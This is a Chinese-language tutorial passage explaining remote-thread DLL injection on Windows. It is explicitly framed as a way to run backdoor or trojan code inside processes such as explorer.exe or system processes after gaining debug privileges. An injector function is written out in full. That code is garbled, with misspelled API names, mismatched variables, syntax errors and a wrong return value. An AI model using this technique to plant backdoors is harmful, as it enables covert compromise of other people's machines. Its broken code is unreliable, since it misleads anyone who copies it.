如何创建一个远程线程呢?微软给我们提供了GreateRemotoThread函数:
HANDLE CreateRemotoThread(
HANDLE hProcess , // 要创建远程线程的进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes , // 用于定义新线程 的安全属性,设为NULL即可
SZIE_T dwStackSize , // 初始化堆栈大小,NULL为默认值
LPTHREAD_STAET_ROUTINE lpStartAddress , // 线程开始的函数地址
LPVOID lpParamenter , // 线程函数参数
DWORD dwCreationFlags , // 表示线程创建后线程的运行状态
LPDWORD lpThreadId // 返回线程Id,如果传NULL 则不返回
} ;
这个函数时CreateThread函数的扩充,多了一个参数hProcess ,此参数指向了要创建新线程的进程句柄。还有几个重要参数也要说明一下:
lpStartAddress 它所指向的的线程函数地址并不是自身进程地址空间中的函数地址,而是要在目标进程中的函数地址。我们不正面来解决这个问题,而是绕过。以上内容先在我们的脑中入栈保存下来,下面先学一下一个函数LoadLibrary,实际上它是一个宏,其原型如下:
HANDLE WINAPI LoadLibray( LPCTSTR lpszLibraryName ) ;这个函数用来加载DLL。因为这个函数只有一个参数而且返回值的大小与线程函数 DWORD WINAPI Thread( LPVOID lpParam ) 一样。我们可以把这个函数作为一个线程函数,作为CreateRemotoThread的参数传入,用于在目标进程中开启新线程,用于导入具有后门功能的DLL文件。因为DLL被加载时会执行DLLMain中的代码,所以我们只要在DLLMain中写入我们的后门代码即可,当远程线程启动,LoadLibrary加载我们的后门DLL文件时,我们的后门代码就执行了。
那么这个LoadLibrary函数如何导入到目标进程的地址空间从而我们才能得到它在目标进程中的地址呢?实际上,LoadLibrary函数在KERNEL32.DLL中,而我们的每个程序的执行都需要导入这个DLL才行,所以目标进程启动,我们的LoadLibrary也就导入到了目标进程的地址空间中,我们也就不需要再把这个函数写入到目标进程的地址空间了,简单绕过了这个问题。但是lpStartAddress是指向线程地址的,我们又如何知道这个地址呢?其实我们只要知道自身进程中的LoadLibrary的地址就行了,因为KERNEL32.DLL是系统DLL,不同进程中的同一个函数是相同的,所以自身进程的LoadLibrary的地址也是相同的。获取这个函数的地址代码如下:
PTHREAD START_ROUTIN pfnStartAddr =( PTHREAD_START_ROUTIN)
GetProcAddress( GetModuleHandle(TEXT(“kernel32”) ) , “LoadLibraryA”) ;
其中函数GetModuleHandle用于获取一个应用程序或动态链接库的某模块句柄,它只有一个参数,此参数指向一个模块的文件名,函数调用成功,则返回该模块的句柄,否则返回0 。
此时还有一个问题需要我们解决,CreateRemotoThread函数的参数lpParameter参数指向线程函数的参数,这个参数就是LoadLibrary这个线程函数的参数,表示一个DLL文件的路径。此参数也是要存在于目标进程的内存中的,那么如何处理这个问题呢?我们可以通过写入到内存的方法解决。
在写入内存之前我们首先需要在目标进程中分配内存空间,利用VirtualAllocEx函数来实现,此函数的原型如下:
LPVOID VirtualAllocEx(
HANDLE hProcess ,// 指向要申请内存空间的目标进程句柄
LPVOID lpAddress , //指向要申请内存空间的目标地址,一般设为0
SZIE_T dwSize , // 指向了要申请的内存空间的大小
DWORD flAllocationType , // 内存空间的属性,这里传递PAGE_READWRITE可读写即可
DWORD flProtect ) ;
如果函数调用成功则返回申请的内存空间的首地址。申请了内存之后就可以向此内存写入木马DLL路径的字符串了。要实现这一过程需要使用函数WriteProcessMemory函数,这个函数原型如下:
BOOL WriteProcessMemory(
HANDLE hProcess , // 指向要写入内存进程的进程句柄
LPVOID lpBaseAddress , // 表示要写入内存的起始地址,由VirtualAllocEx函数返回
LPVOID lpBuffer ,// 指向了了要写入数据的缓冲区
DWORD nSize , // 表示要写入的字节数
LPDWORD lpNumberOfBytesWritten // 实际写入的字节数
) ;
写入成功返回TRUE ,否则返回FALSE
远程线程的主要技术解决了,现在看看我们编程实现的具体流程图:
首先是第一步,提升后门自身的权限,这里要把后门的自身权限调整为调试权限。这一步其实是为第二步服务的,加入我们要注入的是系统进程,如果没有第一步,当你调用OpenProcess的时候就会返回NULL。
下面就开始写注入进程的函数了,代码如下:
BOOL InjectDll( const char * DllFullPath , char DWORD dwRemotoProcesssId )
{
HANDLE hRemotoProcess ;
// 获得调试权限
if( EnableDebugPriv( SE_DEBUG_NAME ) )
{
printf(“Add Privilege error !” ) ;
return FALSE ;
}
//打开目标进程
If( hRemotoProcess=OpenProcess( PROCESS_ALL_ACCESS .FALSE,
dwRemoteProcessId) ) == NULL )
{
Printf(“OpenProcess error!” ) ;
Return false ;
}
// 申请存放DLL文件名的路径
char * pszLibFileRemote = (char*)VirtualAllocEx( hRemoteProcess ,
NULL , strlen( DllFullPath) + 1 , MEM_COMMIT , PAGE_READWRITE) ;
If( pszLibFileRemote == NULL )
{
printf( “VirtuallAllocEx error “ ) ;
return FALSE ;
}
// 把DLL的完整路径写入到内存
if( WriteProcessMemory( hRemoteProcess , pszLibFileRemote , (void*)DllFullPath , strlen( DllFullPath) + 1 , NULL ) == 0 )
{
printf( WriteProcessMeory Error “) ;
Return FALSE ;
}
// 得到LoadLibrary函数的地址
PTHREAD_START_ROUTIN pfnStartAddr = ( PTHREAD_START_ROUTIN)
GetProcAddress( GetModuleHandle(TEXT(“Kernel32”)) , “LoadLibraryA” ) ;
if( pfnStartAddress == NULL )
{
printf( “GetProcAddress error” ) ;
Return FALSE ;
}
// 启动远程线程
HANDLE hRemoteThread = CreateRemoteThread( hRemoteProcess , NULL , 0 , pfnStartAddr , pszLibFileRemote , 0 , NULL ) ) == NULL )
{
Printf( “CreateRemotoThread error “) ;
Return FASLE ;
}
Return FALSE ;
}
这个函数有两个参数,DllFullPath参数指向后门DLL全文件名,dwRemoteProcessId参数指向了需要插入进程的Id。此函数调用成功返回true,否则返回false.
现在还需要传递给这个函数一个进程ID,比如要注入explorer.exe进程,那么就需要传递给此函数explorer.exe进程的ID。不过每次启动explorer.exe时,它所对应的ID都是不一样的,那么就需要通过进程名来获取ID。